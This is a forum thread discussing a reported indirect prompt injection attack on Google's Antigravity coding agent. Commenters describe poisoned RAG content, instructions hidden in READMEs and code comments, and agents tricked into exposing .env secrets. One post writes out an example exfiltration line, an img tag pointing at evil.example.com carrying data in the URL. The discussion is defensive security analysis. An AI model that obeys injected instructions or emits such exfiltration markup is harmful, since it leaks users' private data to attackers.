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Google Antigravity exfiltrates data via indirect prompt injection attack

promptarmor.com

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Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#141
post #84

Earlier quoted context omitted.

It's really vital to also point out that (C) doesn't just mean agentically communicate externally - it extends to any situation where any of your users can even access the output of a chat or other generated text. You might say "well, I'm running the output through a watchdog LLM before displaying to the user, and that watchdog doesn't have private data access and checks for anything nefarious." But the problem is th…

Can you elaborate? How does an attacker turn "any of your users can even access the output of a chat or other generated text" into a means of exfiltrating data to the attacker ? Are you just worried about social engineering — that is, if the attacker can make the LLM say "to complete registration, please paste the following hex code into evil.example.com:", then a large number of human users will just do that? I mean…

So if an agent has no access to non-public data, that's (A) and (C) - the worst an attacker can do, as you note, is socially engineer themselves.

But say you're building an agent that does have access to non-public data - say, a bot that can take your team's secret internal CRM notes about a client, or Top Secret Info about the Top Secret Suppliers relevant to their inquiry, or a proprietary basis for fraud detection, into account when crafting automatic responses. Or, if you even consider the details of your system prompt to be sensitive. Now, you have (A) (B) and (C).

You might think that you can expressly forbid exfiltration of this sensitive information in your system prompt. But no current LLM is fully immune to prompt injection that overrides its system prompt from a determined attacker.

And the attack doesn't even need to come from the user's current chat messages. If they're able to poison your database - say, by leaving a review or comment somewhere with the prompt injection, then saying something that's likely to bring that into the current context via RAG, that's also a way of injecting.

This isn't to say that companies should avoid anything that has (A) (B) and (C) - tremendous value lies at this intersection! The devil's in the details: the degree of sensitivity of the information, the likelihood of highly tailored attacks, the economic and brand-integrity consequences of exfiltration, the tradeoffs against speed to market. But every team should have this conversation and have open eyes before deploying.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#142

There's nothing specific to Gemini and Antigravity here. This is an issue for all agent coding tools with cli access. Personally I'm hesitant to allow mine (I use Cline personally) access to a web search MCP and I tend to give it only relatively trustworthy URLs.

Speaking of filtering trustworthy URLs, Google is the best option to do that because he has more historical data in search business. Hope google can do something for preventing prompt injection for AI community.

I don't think Google get an advantage here, because anyone can spin up a brand new malicious URL on an existing or fresh domain any time they want to.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#143

Ok, I am getting mad now. I don't understand something here. Should we open like 31337 different CVEs about every possible LLM on the market and tell them that we are super-ultra-security-researchers and we're shocked when we found out that will execute commands that it is given access to, based on the input text that is feed into the model? Why people keep doing these things? Ok, they have free time to do it and lik…

This isn't a bug in the LLMs. It's a bug in the software that uses those LLMs.

An LLM on its own can't execute code. An LLM harness like Antigravity adds that ability, and if it does it carelessly that becomes a security vulnerability.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#144
post #84

Earlier quoted context omitted.

It's really vital to also point out that (C) doesn't just mean agentically communicate externally - it extends to any situation where any of your users can even access the output of a chat or other generated text. You might say "well, I'm running the output through a watchdog LLM before displaying to the user, and that watchdog doesn't have private data access and checks for anything nefarious." But the problem is th…

Can you elaborate? How does an attacker turn "any of your users can even access the output of a chat or other generated text" into a means of exfiltrating data to the attacker ? Are you just worried about social engineering — that is, if the attacker can make the LLM say "to complete registration, please paste the following hex code into evil.example.com:", then a large number of human users will just do that? I mean…

Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src="https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#145

Ok, I am getting mad now. I don't understand something here. Should we open like 31337 different CVEs about every possible LLM on the market and tell them that we are super-ultra-security-researchers and we're shocked when we found out that will execute commands that it is given access to, based on the input text that is feed into the model? Why people keep doing these things? Ok, they have free time to do it and lik…

Isn't the problem here that third parties can use it as an attack vector?

The problem is a bit wider than that. One can frame it as "google gemini is vulterable" or "google's new VS code clone is vulnerable". The bigger picture is that the model predicts tokens (words) based on all the text it have. In a big codebase it becomes exponentially easier to mess the model's mind. At some point it will become confused what is his job. What is part of the "system prompt" and "code comments in the codebase" becomes blurry. Even the models with huge context windows get confused because they do not understand the difference between your instructions and "injected instructions" in a hidden text in the readme or in code comments. They see tokens and given enough malicious and cleverly injected tokens the model may and often will do stupid things. (The word "stupid" means unexpected by you)

People are giving LLMs access to tools. LLMs will use them. No matter if it's Antigravity, Aider, Cursor, some MCP.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#146
post #141

Earlier quoted context omitted.

Can you elaborate? How does an attacker turn "any of your users can even access the output of a chat or other generated text" into a means of exfiltrating data to the attacker ? Are you just worried about social engineering — that is, if the attacker can make the LLM say "to complete registration, please paste the following hex code into evil.example.com:", then a large number of human users will just do that? I mean…

So if an agent has no access to non-public data, that's (A) and (C) - the worst an attacker can do, as you note, is socially engineer themselves. But say you're building an agent that does have access to non-public data - say, a bot that can take your team's secret internal CRM notes about a client, or Top Secret Info about the Top Secret Suppliers relevant to their inquiry, or a proprietary basis for fraud detection…

Your elaboration seems to assume that you already have (C). I was asking, how do you get to (C) — what made you say "(C) extends to any situation where any of your users can even access the output of a chat or other generated text"?

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#147

Earlier quoted context omitted.

Isn't the problem here that third parties can use it as an attack vector?

The problem is a bit wider than that. One can frame it as "google gemini is vulterable" or "google's new VS code clone is vulnerable". The bigger picture is that the model predicts tokens (words) based on all the text it have. In a big codebase it becomes exponentially easier to mess the model's mind. At some point it will become confused what is his job. What is part of the "system prompt" and "code comments in the…

I'm not sure what your argument is here. We shouldn't be making a fuss about all these prompt injection attacks because they're just inevitable so don't worry about it? Or we should stop being surprised that this happens because it happens all the time?

Either way I would be extremely concerned about these use cases in any circumstance where the program is vulnerable and rapid, automatic or semi-automatic updates aren't available. My Ubuntu installation prompts me every day to install new updates, but if I want to update e.g. Kiro or Cursor or something it's a manual process - I have to see the pop-up, decide I want to update, go to the download page, etc.

These tools are creating huge security concerns for anyone who uses them, pushing people to use them, and not providing a low-friction way for users to ensure they're running the latest versions. In an industry where the next prompt injection exploit is just a day or two away, rapid iteration would be key if rapid deployment were possible.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#148
post #62

We really are only seeing the beginning of the creativity attackers have for this absolutely unmanageable surface area. I ma hearing again and again by collegues that our jobs are gone, and some are definitely going to go, thankfully I'm in a position to not be too concerned with that aspect but seeing all of this agentic AI and automated deployment and trust that seems to be building in these generative models from…

I think it depends on where you work. I do quite a lot of work with agentic AI, but it's not like it's much of a risk factor when they have access to nothing. Which they won't have because we haven't even let humans have access to any form of secrets for decades. I'm not sure why people think it's a good idea, or necessary, to let agents run their pipelines, especially if you're storing secrets in envrionment files... I mean, one of the attacks in this article is getting the agent to ignore .gitignore... but what sort of git repository lets you ever push a .env file to begin with? Don't get me wrong, the next attack vector would be renaming the .env file to 2600.md or something but still.

That being said. I think you should actually upscale your party doomsaying. Since the Russian invasion kicked EU into action, we've slowly been replacing all the OT we have with known firmware/hardware vulnerabilities (very quickly for a select few). I fully expect that these are used in conjunction with whatever funsies are being build into various AI models as well as all the other vectors for attacks.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#149

There's nothing specific to Gemini and Antigravity here. This is an issue for all agent coding tools with cli access. Personally I'm hesitant to allow mine (I use Cline personally) access to a web search MCP and I tend to give it only relatively trustworthy URLs.

Speaking of filtering trustworthy URLs, Google is the best option to do that because he has more historical data in search business. Hope google can do something for preventing prompt injection for AI community.

Maybe if they incorporated this into their Safe Browsing service that could be useful. Otherwise I'm not sure what they're going to do about it. It's not like they can quickly push out updates to Antigravity users, so being able to identify issues in real time isn't useful without users being able to action that data in real time.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#150
post #143

Ok, I am getting mad now. I don't understand something here. Should we open like 31337 different CVEs about every possible LLM on the market and tell them that we are super-ultra-security-researchers and we're shocked when we found out that will execute commands that it is given access to, based on the input text that is feed into the model? Why people keep doing these things? Ok, they have free time to do it and lik…

This isn't a bug in the LLMs. It's a bug in the software that uses those LLMs. An LLM on its own can't execute code. An LLM harness like Antigravity adds that ability, and if it does it carelessly that becomes a security vulnerability.

No matter how many prompt changes you make it won't be possible to fix this.
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